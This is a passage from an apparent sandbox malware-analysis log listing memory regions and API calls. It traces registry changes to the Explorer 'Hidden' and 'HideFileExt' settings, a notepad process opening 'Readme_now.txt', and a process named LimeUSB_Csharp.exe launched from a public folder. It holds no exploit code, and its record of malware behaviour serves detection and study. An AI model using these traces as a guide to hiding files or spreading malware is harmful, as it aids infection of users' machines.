"private_0x0000000000c70000" filename = "" Region: id = 4370 start_va = 0xdf0000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 4371 start_va = 0xe90000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 4372 start_va = 0x7fe92510000 end_va = 0x7fe9251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92510000" filename = "" Region: id = 4373 start_va = 0xc80000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 4374 start_va = 0xc80000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 4375 start_va = 0x7feef740000 end_va = 0x7fef03aefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 4376 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 4377 start_va = 0x7feee690000 end_va = 0x7feef735fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 4378 start_va = 0xc90000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 4379 start_va = 0xca0000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 4380 start_va = 0xcb0000 end_va = 0xcbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 4381 start_va = 0xc80000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 4382 start_va = 0x7fef8c30000 end_va = 0x7fef8c45fff monitored = 1 entry_point = 0x7fef8c3e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 4383 start_va = 0x1b6d0000 end_va = 0x1b9a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 140 os_tid = 0x824 [0259.394] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0261.194] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0xdeeda8 | out: phkResult=0xdeeda8*=0x1c4) returned 0x0 [0261.197] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xdeedf8, lpData=0x0, lpcbData=0xdeedf0*=0x0 | out: lpType=0xdeedf8*=0x4, lpData=0x0, lpcbData=0xdeedf0*=0x4) returned 0x0 [0261.197] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xdeedf8, lpData=0xdeedd8, lpcbData=0xdeedf0*=0x4 | out: lpType=0xdeedf8*=0x4, lpData=0xdeedd8*=0x2, lpcbData=0xdeedf0*=0x4) returned 0x0 [0261.261] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0xdeedb8, lpData=0x0, lpcbData=0xdeedb0*=0x0 | out: lpType=0xdeedb8*=0x4, lpData=0x0, lpcbData=0xdeedb0*=0x4) returned 0x0 [0261.263] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0xdeee28*=0x2, cbData=0x4 | out: lpData=0xdeee28*=0x2) returned 0x0 [0261.263] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xdeedf8, lpData=0x0, lpcbData=0xdeedf0*=0x0 | out: lpType=0xdeedf8*=0x4, lpData=0x0, lpcbData=0xdeedf0*=0x4) returned 0x0 [0261.263] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xdeedf8, lpData=0xdeedd8, lpcbData=0xdeedf0*=0x4 | out: lpType=0xdeedf8*=0x4, lpData=0xdeedd8*=0x1, lpcbData=0xdeedf0*=0x4) returned 0x0 [0261.264] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0xdeedb8, lpData=0x0, lpcbData=0xdeedb0*=0x0 | out: lpType=0xdeedb8*=0x4, lpData=0x0, lpcbData=0xdeedb0*=0x4) returned 0x0 [0261.264] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0xdeee28*=0x1, cbData=0x4 | out: lpData=0xdeee28*=0x1) returned 0x0 [0261.268] GetLogicalDrives () returned 0x4 [0261.286] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0xdedd38 | out: phkResult=0xdedd38*=0x0) returned 0x2 [0261.286] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0261.298] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xdee790, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0261.300] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0261.301] CoGetContextToken (in: pToken=0xdefc40 | out: pToken=0xdefc40) returned 0x0 [0261.302] CObjectContext::QueryInterface () returned 0x0 [0261.302] CObjectContext::GetCurrentThreadType () returned 0x0 [0261.302] Release () returned 0x0 [0261.337] CoGetContextToken (in: pToken=0xdef6e0 | out: pToken=0xdef6e0) returned 0x0 [0261.337] CObjectContext::QueryInterface () returned 0x0 [0261.337] CObjectContext::GetCurrentThreadType () returned 0x0 [0261.337] Release () returned 0x0 [0261.338] CoGetContextToken (in: pToken=0xdef6e0 | out: pToken=0xdef6e0) returned 0x0 [0261.338] CObjectContext::QueryInterface () returned 0x0 [0261.338] CObjectContext::GetCurrentThreadType () returned 0x0 [0261.338] Release () returned 0x0 [0261.341] CoGetContextToken (in: pToken=0xdef6e0 | out: pToken=0xdef6e0) returned 0x0 [0261.341] CObjectContext::QueryInterface () returned 0x0 [0261.341] CObjectContext::GetCurrentThreadType () returned 0x0 [0261.341] Release () returned 0x0 [0261.343] CoGetContextToken (in: pToken=0xdef700 | out: pToken=0xdef700) returned 0x0 [0261.343] CObjectContext::QueryInterface () returned 0x0 [0261.343] CObjectContext::GetCurrentThreadType () returned 0x0 [0261.343] Release () returned 0x0 [0261.345] CoUninitialize () Thread: id = 141 os_tid = 0x828 Thread: id = 142 os_tid = 0x82c [0259.516] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0261.339] RegCloseKey (hKey=0x1c4) returned 0x0 [0261.340] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 143 os_tid = 0x820 Process: id = "29" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x2219b000" os_pid = "0x5cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x9ac" cmd_line = "\"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4415 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4416 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4417 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4418 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4419 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4420 start_va = 0x1d0000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4421 start_va = 0x210000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 4422 start_va = 0x2f0000 end_va = 0x31ffff monitored = 0 entry_point = 0x2f3689 region_type = mapped_file name = "notepad.exe" filename = "\\Windows\\SysWOW64\\notepad.exe" (normalized: "c:\\windows\\syswow64\\notepad.exe") Region: id = 4423 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4424 start_va = 0x77640000 end_va = 0x777bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4425 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4426 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4427 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4428 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4429 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4430 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4431 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4432 start_va = 0x320000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4433 start_va = 0x74f30000 end_va = 0x74f6efff monitored = 0 entry_point = 0x74f5e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4434 start_va = 0x74ed0000 end_va = 0x74f2bfff monitored = 0 entry_point = 0x74f0f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4435 start_va = 0x74ec0000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74ec20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4436 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4437 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4438 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4439 start_va = 0x77340000 end_va = 0x7745efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077340000" filename = "" Region: id = 4440 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4441 start_va = 0x77240000 end_va = 0x77339fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077240000" filename = "" Region: id = 4442 start_va = 0x560000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 4443 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4444 start_va = 0x771c0000 end_va = 0x77206fff monitored = 0 entry_point = 0x771c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4445 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4446 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4447 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4448 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4449 start_va = 0x75e80000 end_va = 0x75f1ffff monitored = 0 entry_point = 0x75e949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4450 start_va = 0x75620000 end_va = 0x756cbfff monitored = 0 entry_point = 0x7562a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4451 start_va = 0x75c60000 end_va = 0x75c78fff monitored = 0 entry_point = 0x75c64975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4452 start_va = 0x760a0000 end_va = 0x7618ffff monitored = 0 entry_point = 0x760b0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4453 start_va = 0x75190000 end_va = 0x751effff monitored = 0 entry_point = 0x751aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4454 start_va = 0x75180000 end_va = 0x7518bfff monitored = 0 entry_point = 0x751810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4455 start_va = 0x76010000 end_va = 0x7609ffff monitored = 0 entry_point = 0x76026343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4456 start_va = 0x75520000 end_va = 0x7561ffff monitored = 0 entry_point = 0x7553b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4457 start_va = 0x75a40000 end_va = 0x75a49fff monitored = 0 entry_point = 0x75a436a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4458 start_va = 0x753f0000 end_va = 0x7548cfff monitored = 0 entry_point = 0x75423fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4459 start_va = 0x75f40000 end_va = 0x75fbafff monitored = 0 entry_point = 0x75f41aee region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 4460 start_va = 0x75e20000 end_va = 0x75e76fff monitored = 0 entry_point = 0x75e39ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4461 start_va = 0x74260000 end_va = 0x743fdfff monitored = 0 entry_point = 0x7428e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 4462 start_va = 0x76190000 end_va = 0x76dd9fff monitored = 0 entry_point = 0x76211601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 4463 start_va = 0x6ab50000 end_va = 0x6aba0fff monitored = 0 entry_point = 0x6ab7988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 4464 start_va = 0x75770000 end_va = 0x758cbfff monitored = 0 entry_point = 0x757bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4465 start_va = 0x756e0000 end_va = 0x7576efff monitored = 0 entry_point = 0x756e3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4466 start_va = 0x74190000 end_va = 0x74198fff monitored = 0 entry_point = 0x74191220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4467 start_va = 0x320000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4468 start_va = 0x4e0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4469 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4470 start_va = 0x560000 end_va = 0x6e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 4471 start_va = 0x720000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 4472 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4473 start_va = 0x76f70000 end_va = 0x76fcffff monitored = 0 entry_point = 0x76f8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4474 start_va = 0x75b80000 end_va = 0x75c4bfff monitored = 0 entry_point = 0x75b8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4475 start_va = 0x820000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 4476 start_va = 0x9b0000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 4477 start_va = 0x20000 end_va = 0x22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "notepad.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\notepad.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\notepad.exe.mui") Region: id = 4487 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4488 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4489 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 4490 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4491 start_va = 0x320000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4492 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4493 start_va = 0x740a0000 end_va = 0x7411ffff monitored = 0 entry_point = 0x740b37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4494 start_va = 0x1db0000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 4495 start_va = 0x1db0000 end_va = 0x1e8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001db0000" filename = "" Region: id = 4496 start_va = 0x1f00000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 4497 start_va = 0x74030000 end_va = 0x74042fff monitored = 0 entry_point = 0x74031d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4498 start_va = 0x1f40000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 4499 start_va = 0x2020000 end_va = 0x294ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 4500 start_va = 0x2950000 end_va = 0x2c1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4501 start_va = 0x110000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4502 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4503 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "readme_now.txt" filename = "\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\readme_now.txt") Region: id = 4504 start_va = 0x190000 end_va = 0x191fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Thread: id = 145 os_tid = 0xf8 Process: id = "30" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x7126f000" os_pid = "0x900" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4507 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4508 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4509 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4510 start_va = 0xc0000 end_va = 0xb83fff monitored = 1 entry_point = 0xb7e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4511 start_va = 0xc50000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 4512 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4513 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4514 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4515 start_va = 0x7fffa000 end_va = 0x7fffafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffa000" filename = "" Region: id = 4516 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4517 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4518 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4519 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4520 start_va = 0xd50000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 4521 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" 